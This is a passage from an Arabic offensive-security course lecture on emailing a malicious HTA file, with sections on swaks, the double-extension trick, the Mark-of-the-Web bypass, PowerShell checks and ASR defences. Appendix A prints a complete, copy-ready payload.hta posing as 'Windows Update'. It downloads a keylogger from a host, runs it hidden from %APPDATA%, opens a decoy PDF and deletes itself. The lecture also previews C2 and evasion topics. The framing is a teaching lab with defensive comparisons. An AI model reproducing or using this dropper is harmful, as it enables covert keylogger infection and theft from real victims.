بدون @ = "هذه السلسلة نفسها هي محتوى المرفق".
لو نسيت @: swaks يرسل مرفقاً نصياً محتواه حرفياً سلسلة ~/lab/hta/Q4-Report.pdf.hta (بضع بايتات). الضحية لن ترى HTA صالحاً وستحتار.
عادة Unix قديمة: @filename = "توسيع من ملف". نفس الاصطلاح في curl -d @data.json و gpg وأدوات أخرى.
مصيدة الـ tilde (~): جرّب --attach @~/lab/hta/Q4-Report.pdf.hta — سيفشل بـ Option processing error: file ~/lab/hta/Q4-Report.pdf.hta not openable. السبب: bash يوسّع ~ إلى $HOME فقط عندما تكون في بداية كلمة، و @ قبله يعطّل التوسيع. الحلول:
استخدم "@$HOME/lab/hta/..." — $HOME يوسَّع داخل الاقتباس المزدوج.
أو مسار مطلق: "@/home/hashim/lab/hta/...".
أو @ مع مسار نسبيّ عندما تكون داخل مجلّد الملف: cd ~/lab/hta && swaks ... --attach @Q4-Report.pdf.hta.
ترميز MIME للمرفق (تلقائي)
SMTP نص ASCII محض ولا يستطيع نقل بايتات ثنائية خام.
swaks يفعل تلقائيا: — يقرأ الملف كبايتات. — يشفّرها بـ base64 (كل 3 بايتات ثنائية → 4 حروف ASCII). — يضع Content-Transfer-Encoding: base64 في رأس الجزء. — يخمّن Content-Type من الامتداد (لـ .hta يستخدم application/octet-stream عادة). — يضع اسم الملف في Content-Disposition: attachment; filename="...".
كل هذا "خلف الكواليس"، لا تحتاج تدخلا.
الخطوة 6: تنفيذ الضحية
واجهة Mailpit: واجهة الويب المدمجة على http://10.10.10.10:8025. الضحية يفتحها في Chrome، ويرى صندوق الوارد بواجهة مشابهة لـ Roundcube أو Gmail — بلا شهادة TLS، بلا تسجيل دخول (كلّ الرسائل ظاهرة). هذا ما جعلها بديلاً حقيقياً لـ Postfix + Roundcube في المعمل. للنسخة الكاملة انظر ملحق ج.
التنزيل إلى Downloads: عند النقر على المرفق في Mailpit، المتصفّح يعرض حوار "حفظ / فتح" ثمّ يودع الملفّ في %USERPROFILE%\Downloads\ = C:\Users\victim\Downloads\.
كشف الامتداد و Hide extensions: في Windows من XP وحتى 11، خيار File Explorer Options → View → Hide extensions for known file types مفعّل افتراضيا. النتيجة: — الاسم على القرص فعلا: Q4-Report.pdf.hta (18 حرفا). — Explorer يعرض: Q4-Report.pdf (يخفي .hta كامتداد "معروف"). — الأيقونة قد تكون أيقونة HTA (نص + شعار HTML)، لكن كثير من المستخدمين لا ينظرون للأيقونة، ينظرون للاسم فقط. — هذا "double extension" trick قديم لكنه لا يزال فعالا لأن الإعداد الافتراضي لم يتغير.
Get-Process = cmdlet يعيد كائنات عمليات (System.Diagnostics.Process) لكل عملية جارية.
الوسيط wmupdate = فلتر بالاسم (بدون .exe). يعيد فقط العمليات التي اسمها wmupdate.
لو موجودة → الحمولة تشتغل. لو غير موجودة → خطأ افتراضيا.
-ErrorAction SilentlyContinue: لماذا ؟
Get-Process عندما لا يجد العملية يرمي ObjectNotFound error بنص أحمر: Cannot find a process with the name "wmupdate".
-ErrorAction معلمة عامة موجودة في كل cmdlet، تحدد كيف يتصرف عند وقوع خطأ غير مميت: — Stop، أوقف كل شيء (حوّل الخطأ لاستثناء terminating). — Continue، الافتراضي، اطبع الخطأ ثم كمّل. — SilentlyContinue، ابتلع الخطأ بصمت ولا تطبعه. — Ignore، كـ SilentlyContinue لكن لا يسجل في $Error.
في التحقق نستخدم SilentlyContinue لسببين: — نتوقع أن العملية قد لا تكون موجودة (إذا فشلت الحمولة). نريد رسالة نظيفة، لا شاشة حمراء تخيف الطالب. — سلوك السكربت واضح: النتيجة الفارغة = "لم تعمل"، الجدول = "تعمل".
|: الأنبوب في PowerShell
عكس bash الذي يمرر نصا، PowerShell يمرر كائنات كاملة بحقولها ومنهجياتها.
Get-Process يعطي كائنات Process، والأنبوب يمررها لـ Format-Table الذي يعرف كيف يقرأ خصائصها.
Format-Table Id, ProcessName, StartTime
Format-Table = عرض ككم صف/عمود.
الوسائط بعد الاسم = قائمة الأعمدة (property projection)، أي خصائص من الكائن تريد عرضها. — Id = رقم العملية (PID). — ProcessName = اسم العملية. — StartTime = وقت بدء العملية (يخبرك بالضبط متى تم التشغيل، قوي جدا للـ triage).
بدون هذه القائمة يعرض PowerShell تنسيقا افتراضيا يظهر أعمدة كثيرة قد لا تحتاجها.
Test-Path "..."
cmdlet يعيد قيمة boolean (True أو False)، هل هذا المسار موجود؟
يعمل على ملفات، مجلدات، مفاتيح registry، متغيرات بيئة (كل ما يُعامل كـ PSDrive).
الأنماط: — Test-Path "C:\Users" → True (المجلد موجود). — Test-Path "$env:APPDATA\...\wmupdate.exe" → True بعد نجاح الحمولة. — Test-Path "$env:USERPROFILE\Downloads\Q4-Report.pdf.hta" → False بعد selfDelete()، دليل نجاح الإخفاء.
$env:APPDATA: متغيرات البيئة في PowerShell
$env: = provider للوصول لمتغيرات البيئة. $env:VAR يستبدل بقيمة VAR.
استبدال المتغير يحدث داخل السلاسل ذات الاقتباس المزدوج"..." فقط. داخل الاقتباس المفرد '...' تبقى $env:APPDATA نصا حرفيا.
لهذا نكتب "$env:APPDATA\Microsoft\..." بلا escape لـ \، PowerShell لا يعامل \ كرمز escape (بخلاف bash). رمز الـ escape في PowerShell هو العلامة الخلفية `.
Get-Content "..." -Stream Zone.Identifier
Get-Content = يقرأ محتوى ملف (مثل cat في Unix).
-Stream Zone.Identifier = يقرأ Alternate Data Stream (ADS) بهذا الاسم بدل التيار الأساسي.
ما هو Zone.Identifier (ADS) ولماذا يهم؟
نظام الملفات NTFS يدعم منذ Windows NT ميزة Alternate Data Streams: كل ملف يمكن أن يحمل تيارات بيانات ثانوية بأسماء، تخزّن مع الملف الأساسي وتبقى مخفية عن أدوات مثل dir و notepad.
عند تنزيل ملف من الإنترنت، Windows يضيف تلقائيا تيارا اسمه Zone.Identifier يحتوي شيئا مثل: text
— ZoneId=3 = Internet Zone. هذا هو Mark-of-the-Web (MOTW).
SmartScreen, Office Protected View, و Defender ML كلها تعتمد على MOTW لتقرر: هل هذا الملف "مشبوه" ويستحق الفحص المشدد؟
في المعمل نتحقق: Get-Content ... -Stream Zone.Identifier على wmupdate.exeيفشل بخطأ "not found". لماذا؟ لأن ADODB.Stream (الذي نزّل الملف داخل HTA) يكتب بايتات مباشرة عبر API مستوى منخفض، ولا يمر بطبقة URLMon التي تضيف MOTW. نتيجة: الملف بدون MOTW = SmartScreen لا يراه إطلاقا. هذه التفصيلة الجوهرية التي يستغلها الطريق D.
-ErrorAction SilentlyContinue هنا يمنع رسالة الخطأ ("Stream not found") من تلويث الإخراج، الفراغ نفسه هو الجواب المتوقع.
Get-WinEvent -LogName "..." -MaxEvents N
Get-WinEvent = cmdlet قوي لقراءة Windows Event Log. أحدث من الـ Get-EventLog القديم ويدعم القنوات الحديثة (Sysmon, PowerShell Operational, إلخ).
-LogName "Microsoft-Windows-Sysmon/Operational" = القناة المطلوبة. هذه هي التي يكتب فيها Sysmon أحداثه (Event IDs 1, 3, 7, 11, ...).
-MaxEvents 20 = حدّ أعلى لعدد الأحداث المُعاد جلبها من الأحدث للأقدم. مهم لأن Sysmon قد يولّد آلاف الأحداث؛ بدون الحد ينتظر السكربت طويلا ويستهلك ذاكرة.
Where-Object { $_.Message -like "*mshta*" }
Where-Object = فلتر خط أنابيب. يمرر كل كائن دخل، ويحتفظ فقط بالذي يعيد فيه الـ scriptblock True.
{ ... } = scriptblock، كود ينفَّذ لكل عنصر.
$_ = المتغير التلقائي للعنصر الحالي في الأنبوب.
$_.Message = الوصول لخاصية Message (نص الحدث الكامل).
-like = مقارنة نصية بـ wildcards (*, ?). ليست regex، إن أردت regex استخدم -match.
"*mshta*" = يحتوي الكلمة mshta في أي مكان.
كامل الجملة: "من آخر 20 حدث Sysmon، أعطني فقط التي يذكر متنها mshta".
Select TimeCreated, Id
Select alias لـ Select-Object = project (اختيار خصائص)، يبني كائنات جديدة تحوي فقط الخصائص المذكورة.
TimeCreated = طابع زمني للحدث.
Id = رقم Event ID (مثلا 1 = Process Create، 3 = Network Connection، 11 = File Create).
Format-Table سيُستدعى ضمنيا عند الطباعة النهائية للإخراج.
ملاحظات عامة على PowerShell
الاستمرار على سطر جديد: العلامة الخلفية ` ` في نهاية السطر (لاحظ استخدامها في المصدر مع Get-Content و Get-WinEvent`). يجب ألا يكون بعدها أي مسافة.
السلاسل والاقتباس: "..." تسمح بتوسيع المتغيرات، '...' تبقيها حرفيا.
استعادة VMware snapshot: من واجهة VMware Workstation/Fusion: — VM → Snapshot → Snapshot Manager → post-tooling → Go To. — هذا يعيد كل شيء: الملفات، السجل، الذاكرة، حالة الخدمات، بلحظة أخذ الـ snapshot. الوسيلة الوحيدة الموثوقة 100% لإزالة عدوى تدرّبت عليها. — البديل اليدوي (Stop-Process -Name wmupdate + حذف من $env:APPDATA) لا يزيل تعديلات Registry أو Scheduled Tasks أو WMI subscriptions، لذلك دائما فضّل الـ snapshot في المعامل.
Ctrl+C لإيقاف python3 -m http.server: — Ctrl+C في الطرفية يرسل إشارة SIGINT (Signal 2) للعملية الأمامية. — Python يترجمها لاستثناء KeyboardInterrupt. — http.server يمسك هذا الاستثناء ويقفل المقبس (socket) بأمان. — لو تركت الخادم يعمل بعد التمرين، أي جهاز على 10.10.10.10 يستطيع الاستمرار بتنزيل الحمولات، عادة سيئة أمنيا. أوقف كل خادم استخدمته.
هذا الملحق يجعل الطالب المبتدئ قادرا على قراءة كل سطر من قسم المعمل مع فهم كامل لسبب وجود كل رمز و كل خيار.
ملحق ج: التوصيل عبر Postfix + Dovecot + Roundcube الحقيقي (اختياري)
المعمل في القسم 8 يستخدم Mailpit لأنّه أبسط. لكن لو أردت أن ترى الحملة تعبر مكدّس بريد حقيقيّ — Postfix كـ MTA، Dovecot كـ IMAP، Roundcube كواجهة ويب — هذه هي الخطوات المُختبَرة نصّاً. الحملة نفسها (الحمولة، swaks، أوامر التحقّق) لا تتغيّر — يتغيّر فقط ما يستقبل الرسالة.
كلّ أمر في هذا الملحق شُغِّل حرفياً على WSL Ubuntu 22.04 قبل نشر هذه النسخة. المخارج المذكورة هي الناتج الفعلي.
⏱️ تقدير الوقت: ~15 دقيقة على نظام سبق أن استعملته، ~30 دقيقة على نظام جديد. يستهلك ~350 MB بعد التنصيب. المكدّس يبقى شغّالاً كخدمات systemd — أوقفه بعد المعمل.
🧪 لماذا لم نجعل هذه هي الطريقة الأصليّة في القسم 8؟ تسع خطوات نصب + مستخدم PAM + شهادة (لو أردت TLS حقيقياً) + قاعدة بيانات = طبقات كثيرة يمكن أن تفشل في أيّ نقطة. الدرس الذي يُعلَّم في الفصل هو تسليم HTA وتنفيذه على الضحية، لا هندسة نظام البريد. Mailpit يزيح كلّ هذا الوعاء ويترك الحدث الهجومي وحده على المسرح. من يريد التجربة "الأحقّ" — هذا الملحق له.
القسم 9القسم 9: مقارنة الطرق الأربع
المعيار
A: PDF
B: Binder
C: Stego
D: HTA
يحتاج ثغرة؟
نعم
لا
لا
لا
يعمل على Win11 24H2؟
لا
نعم
نعم
نعم
يحتاج compilation؟
لا (msf)
نعم (C++)
نعم (C++)
لا
حجم الحمولة النهائية
~180 KB
~200 KB
~2-3 MB
~2 KB
SmartScreen يحذّر؟
لا (PDF)
نعم
نعم (عند تشغيل loader)
يعتمد
Defender يكشف؟
نعم (بصمة قديمة)
أحيانا
أحيانا (عند التشغيل)
أحيانا (ML)
أثر على القرص؟
PDF فقط
EXE واحد
صورة + EXE loader
لا (HTA يحذف نفسه)
كم نقرة يحتاج؟
1 (PDF)
2 (PDF + Run)
2 (loader + PDF)
1 (HTA)
استخدام APT حديث؟
منقرض
شائع
متوسط
شائع جدا
متى تختار كل طريق؟
الإجابة الحقيقية: لا تختار طريقا واحدا. المهاجم الحقيقي يستخدم عدة طرق بالتوازي.
الهدف
أفضل طريق
لماذا
فهم exploit شرعي كامل
A: PDF
يعلّم كل شيء من overflow إلى shellcode
واقعية 2026 مع Win11 مصحح
B أو D
بلا ثغرة، يعمل
تعلّم الخداع الاجتماعي
B: Binder
الأيقونة والامتداد المزدوج ورؤية الضحية
فهم إخفاء البيانات
C: Steganography
يوسع مفهوم القنوات المخفية
فهم بيئة الدفاع الحديثة
D: HTA + LOLBins
يعرف الطالب لماذا SmartScreen لا يكفي
الأسرع للإعداد
D: HTA
ملف نصي واحد، بلا compilation
خريطة الدفاع
الطبقة
A
B
C
D
Patch Management
نعم
لا
لا
لا
Antivirus (Signatures)
أحيانا
أحيانا
أحيانا
أحيانا
EDR سلوكي
نعم
نعم
نعم
نعم
SmartScreen
لا
أحيانا
أحيانا
يعتمد
Application Whitelisting
لا
نعم
نعم
نعم
ASR Rules
لا
أحيانا
أحيانا
نعم
Sysmon + SIEM
نعم
نعم
نعم
نعم
Awareness Training
أحيانا
نعم
نعم
نعم
الخلاصة: لا توجد طبقة واحدة تكشف الأربعة بشكل مطلق. الجواب الوحيد الشامل: تطبيق Defense in Depth، Patch + EDR + Whitelisting + ASR + Sysmon + Training معا.
✅ اختبر نفسك: القسم 9
من الطرق الأربع، أيّها لا تترك ملفّاً تنفيذيّاً بنيتَه أنت؟ وما أثر ذلك على الكشف؟
رتّب الطرق الأربع من الأسهل إلى الأصعب من ناحية البناء، ثم رتّبها من الأسهل إلى الأصعب من ناحية الكشف. هل الترتيبان متطابقان؟ ماذا يعني ذلك؟
لو منعت مؤسّسة mshta.exe تماماً، أي من الطرق الأربع تبقى صالحة؟
أيّ طريقة تختار لو كان هدفك جهازاً محدَّثاً بالكامل مع EDR؟ ولماذا؟
3/4 صحيحة = تابع. أقلّ = أعد قراءة جدول المقارنة.
القسم 10القسم 10: الواجب المنزلي ومقدمة للمحاضرة القادمة
الواجب: سبع مهام
ابن التكرارات الستة كاملة. لا تكتف بالتكرار السادس. نفّذ 01-hello.hta ثم 02 وهكذا.
غيّر الحمولة من keylogger إلى شيء آخر (مثلا: PowerShell script يجمع سجل الأوامر).
جرّب تسليم LNK. استخدم PowerShell CreateShortcut من القسم 5. قارن تجربة المستخدم مع .hta المباشر.
راقب Sysmon Events. ثبّت Sysmon مع الإعداد من القسم 6. شغّل التكرار 5. اكتشف كم حدثا وُلد.
جرّب تفعيل ASR rule D3E037E1. شغّل التفعيل، ثم كرّر التكرار 5. هل نجح؟
اكتب تقريرا صفحة واحدة: إذا كنت مدير أمن معلومات في شركة صغيرة (250 موظف، ميزانية محدودة)، ما أهم ثلاث تدابير تتخذها لمنع الطريق D؟ لا تقل "E5 license".
المحاضرة القادمة: Persistence و C2
المحاضرة 3 أوصلت الحمولة، والتكرار 5 شغّلها. لكن:
إذا أعاد الضحية تشغيل الجهاز، الـ Keylogger يختفي.
C2 Frameworks: نظرة على Sliver, Havoc. بناء C2 بسيط بـ C++.
تجنّب الكشف: Domain Fronting، DNS Tunneling، Sleep + Jitter.
استعداد للمحاضرة القادمة:
راجع Windows Registry، HKCU vs HKLM، مسارات Run.
راجع Windows Services، sc.exe, services.msc.
اقرأ MITRE ATT&CK TA0003 (Persistence)، 20 تقنية موثقة.
ملحق أ: payload.hta الكامل (التكرار 6 مرة أخرى للراحة)
هذا هو الملف النهائي القابل للنسخ بضغطة واحدة، مع كل التحسينات وإصلاح الأخطاء:
html
<!--
payload.hta — Lecture 3 lab deliverable
Educational use only. Isolated VMnet2 lab environment.
--><html><head><title>Windows Update</title><HTA:APPLICATIONID="objHTA"APPLICATIONNAME="WindowsUpdateAgent"BORDER="none"SCROLL="no"SHOWINTASKBAR="no"SINGLEINSTANCE="yes"WINDOWSTATE="minimize"/><scriptlanguage="JScript">
// ── CONFIG ────────────────────────────────────────────────
var C2_URL = "http://10.10.10.10:8000/keylogger_edu.exe";
var DECOY_URL = "http://10.10.10.10:8000/Q4-report.pdf";
var DROP_DIR = "%APPDATA%\\Microsoft\\Windows\\Update";
var DROP_NAME = "wmupdate.exe";
var DECOY_LOCAL = "%TEMP%\\Q4-report.pdf";
// ── HELPERS ───────────────────────────────────────────────
function shellExpand(p) {
return new ActiveXObject("WScript.Shell")
.ExpandEnvironmentStrings(p);
}
function ensureDir(path) {
var fso = new ActiveXObject("Scripting.FileSystemObject");
var parts = path.split("\\");
var cur = parts[0];
for (var i = 1; i < parts.length; i++) {
cur += "\\" + parts[i];
if (cur.length > 3 && !fso.FolderExists(cur)) {
try { fso.CreateFolder(cur); } catch(e) {}
}
}
}
function download(url, out) {
var http = new ActiveXObject("MSXML2.XMLHTTP.6.0");
http.open("GET", url, false);
http.send();
if (http.status != 200) return false;
var stream = new ActiveXObject("ADODB.Stream");
stream.Type = 1; // binary — MUST be set before Open()
stream.Open();
stream.Write(http.responseBody);
stream.SaveToFile(out, 2); // 2 = adSaveCreateOverWrite
stream.Close();
return true;
}
function runHidden(cmd) {
new ActiveXObject("WScript.Shell").Run(cmd, 0, false);
}
function selfDelete() {
// Some mshta builds return "/C:/Users/x/file.hta" (URL-style),
// others return "C:\Users\x\file.hta" (Windows-style) — handle both.
var raw = decodeURIComponent(location.pathname);
if (raw.charAt(0) === "/") raw = raw.substring(1);
var me = raw.replace(/\//g, "\\");
// cmd /c "..." — single quotes around the path.
// cmd /c strips the first " and the last " of the line before running
// the rest, so the inner "PATH" survives intact and del handles spaces.
var cmd = 'cmd.exe /c "timeout /t 2 /nobreak >nul & del "'
+ me + '""';
runHidden(cmd);
}
// ── MAIN ──────────────────────────────────────────────────
window.onload = function() {
var sh = new ActiveXObject("WScript.Shell");
var decoyPath = sh.ExpandEnvironmentStrings(DECOY_LOCAL);
var dropDir = sh.ExpandEnvironmentStrings(DROP_DIR);
var payload = dropDir + "\\" + DROP_NAME;
// (1) Decoy PDF — visible to user
if (download(DECOY_URL, decoyPath)) {
sh.Run('"' + decoyPath + '"', 1, false);
}
// (2) Real payload — hidden
ensureDir(dropDir);
if (download(C2_URL, payload)) {
runHidden('"' + payload + '"');
}
// (3) Clean up
selfDelete();
window.close();
};
</script></head><body></body></html>
ملحق د: مراجع ASR والمصادر
قائمة ASR الكاملة المتعلقة بمسار HTA/mshta
GUID
الاسم
التأثير
BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550
Block executable content from email client and webmail
الأقوى ضدنا
D3E037E1-3EB8-44C8-A917-57927947596D
Block JS/VBS from launching downloaded executable content
يمنع تشغيل wmupdate.exe
5BEB7EFE-FD9A-4556-801D-275E5FFC04CC
Block execution of potentially obfuscated scripts
AMSI-based
3B576869-A4EC-4529-8536-B80A7769E899
Block Office apps from creating executable content
ضد Office → HTA drop
D4F940AB-401B-4EFC-AADC-AD5F3C50688A
Block all Office apps from creating child processes
ضد Office → mshta
92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B
Block Win32 API calls from Office macros
ضد macro → ShellExecute
7674BA52-37EB-4A4F-A9A1-F0F9A1619A2C
Block Adobe Reader from creating child processes
ضد PDF → mshta
01443614-CD74-433A-B99E-2ECDC07BFC25
Block executable files from running unless meet criteria
قبل أن تعتمد على الكود في اختبار حقيقي، اعرف حدوده:
selfDelete يعمل مع مسارات محلية فقط. إن فُتح الـ HTA من UNC path (\\server\share\x.hta) فـ location.pathname يعطي /share/x.hta والحذف يستهدف مسارا خاطئا. حل: انقل الملف محليا قبل التنفيذ.
ADODB.Stream.SaveToFile لا يضع Zone.Identifier. فرصة كشف مفقودة على المهاجم، لكن EDR سلوكي يرى الكتابة والتشغيل معا. للمدافع: راقب WriteFile من mshta.exe مباشرة.
python3 -m http.server --bind 10.10.10.10 يعمل فقط إذا 10.10.10.10 معيّن فعلا على واجهة WSL. مع WSL2 الافتراضي (NAT) لن يعمل، تحتاج بيئة VMnet2 من المحاضرة 2.
ensureDir لا يدعم مسارات UNC أو مسارات بادئتها \\?\. يعمل مع %APPDATA% عادي فقط.
pylnk3 API يختلف بين النسخ. لهذا وضعنا PowerShell CreateShortcut كخيار أول.
الكلمة الأخيرة
التقنيات التي تعلّمتها هنا حقيقية وتعمل اليوم (أغسطس 2026). استخدمها لبناء دفاع أفضل، لا لهجوم لا تملك إذنه. تعلّم الطريق حتى تستطيع إغلاقه، هذا هو الفرق بين ذكاء المهاجم و دهاء المدافع.
سجل الأخطاء التي أُصلحت في هذه النسخة (Markdown) مقابل نسخة PDF
selfDelete بنى الأمر بلا اقتباس حول المسار، ثم محاولة إصلاح لاحقة استخدمت "" (تكرار الاقتباس) بافتراض أنّه المعيار في cmd /c — اختُبر ولا يعمل مع مسار فيه مسافة
الحلّ الصحيح: اقتباس واحد حول المسار (del "PATH") واعتماد قاعدة cmd /c في إزالة " الأوّل والأخير من السطر. اختُبر مع مسار بلا مسافات ومسار فيه مسافة، الملف يُحذف في الحالتين
5
location.pathname يعطي مسارا بـ /
أضفنا .replace(/\//g, "\\") قبل تمريره لـ del
6
مثال pylnk3: API متغير بين النسخ، pip install قد يفشل على Ubuntu 23.04+ بلا --break-system-packages
جعلنا PowerShell CreateShortcut الخيار الرئيسي (يعمل من صندوق Windows بلا تثبيت)
7
shell.Run("...", 0, true) في مثال ActiveX: يجمّد نافذة الـ HTA
غيّرنا إلى false مع تعليق يوضّح القاعدة داخل HTA
8
فقرات كثيفة تخلط عربية + مصطلحات إنجليزية كثيرة في سطر واحد: القارئ يحتار في اتجاه القراءة
كل فقرة كثيفة قُسّمت إلى: عنوان مستقل + سطر أو سطرين قصيرين + قائمة نقطية للمصطلحات: كل سطر يُقرأ باتجاه واحد واضح
9
شرح مختصر لكل كود: قارئ مبتدئ لا يفهم لماذا MSXML2.XMLHTTP.6.0 وليس MSXML2.XMLHTTP، ولا معنى ADODB.Stream.Type=1، ولا الفرق بين waitOnReturn=true و false، ولا لماذا SW_HIDE + CREATE_NO_WINDOW + DETACHED_PROCESS معا
أضفنا 4 مراجع تفصيلية باللغة العربية: (1) HTA/JScript بعد القسم 4 يشرح كل تكرار وما الجديد فيه، ثم مرجع شامل لكل خصائص HTA:APPLICATION وكل كائن ActiveX وكل قيمة عَلَم؛ (2) طرق التوصيل بعد القسم 5 يشرح كل flag من swaks و PowerShell CreateShortcut وكل خاصية IWshShortcut؛ (3) الدفاع بعد القسم 6 يشرح كل GUID من ASR، بنية Sysmon XML الكاملة، وأنماط Wacatac وكيف يفسّرها المحلل؛ (4) المعمل بعد القسم 8 يشرح كل flag من swaks و python http.server و PowerShell verification
10
لا يوجد إثبات أن الكود يعمل: طالب يقرأ ويشك
قسم "تحقق الكود" في بداية المستند يوثّق ما اختبرناه فعلا: JScript syntax لكل التكرارات في node، LNK creation في PowerShell (1965 bytes، خصائص مقروءة)، Sysmon XML بـ xml.etree (7 قواعد كلها AND-2)، ASR cmdlets موجودة والـ GUIDs الستة كلها [Guid]::Parse() صالحة، decoy PDF مولّد بـ reportlab (1629 bytes)، http.server يخدم فعلا (curl 200)، swaks --attach @ صيغة صحيحة تأكدت من الوثائق الرسمية
11
لم نختبر التنفيذ الفعلي على Windows: طالب يظن الحمولة تعمل بلا احتكاك
شغّلنا فعلا على Windows 11 24H2 مع Defender الافتراضي. النتائج مذهلة: HTA basic يعمل (iter 1 + iter 3 صنع CalculatorApp بـ parent PID = mshta)، mshta → GUI EXE (notepad, calc) يعمل، لكن mshta → cmd/powershell/wscript محجوب بصمت بـ Defender Behavior Monitor. لا سجل مرئي، ثلاث محاولات مختلفة كلها فشلت. SMTP + attachment .hta سلّمنا نجاح كامل مقابل catcher محلي. قسم جديد "اختبارات تشغيل حقيقية" يوثّق كل شيء
↑↓ تنقّل⏎ فتحEsc إغلاق
تتبُّع الكود خطوةً بخطوة
قبل أن تُنزّل — تنبيه أمن ويندوز
هذه المادة تشرح كيف تعمل البرمجيات الخبيثة، فبعض الملاحظات — خاصّة
الفصلين 2A و3 — تحوي شيفرة هجوم حقيقية لغرض
التعليم. قد يضع Microsoft Defender بعض هذه الملفات في الحجر
لأن نصّها يطابق توقيعات معروفة. هذا سلوك متوقَّع من المادة التي تدرسها،
وليس إصابة فعلية لجهازك.
الأسلم: افتح الخزنة داخل الآلة الافتراضية المعزولة
(Victim VM) المخصّصة للمعمل — التحذير هناك لا يضرّك، وهذا هو
المكان الصحيح لكلّ عمل المعمل أصلاً.
إن اضطررت للعمل على جهازك المضيف مؤقتاً وأنت واعٍ بالمخاطرة:
أضف مجلد الخزنة وحده استثناءً مؤقتاً من Windows Security
← الحماية من الفيروسات والتهديدات ← إدارة الإعدادات ← الاستثناءات ←
إضافة مجلد، ثم أزِل الاستثناء فور انتهائك.
لا تستثنِ مجلد Downloads بأكمله، ولا تُطفئ
الحماية في الوقت الفعلي، ولا تفعل هذا على جهاز فيه بيانات تهمّك. استثناء
مجلد يعني أن ويندوز لن يفحص ما بداخله — سيف ذو حدّين.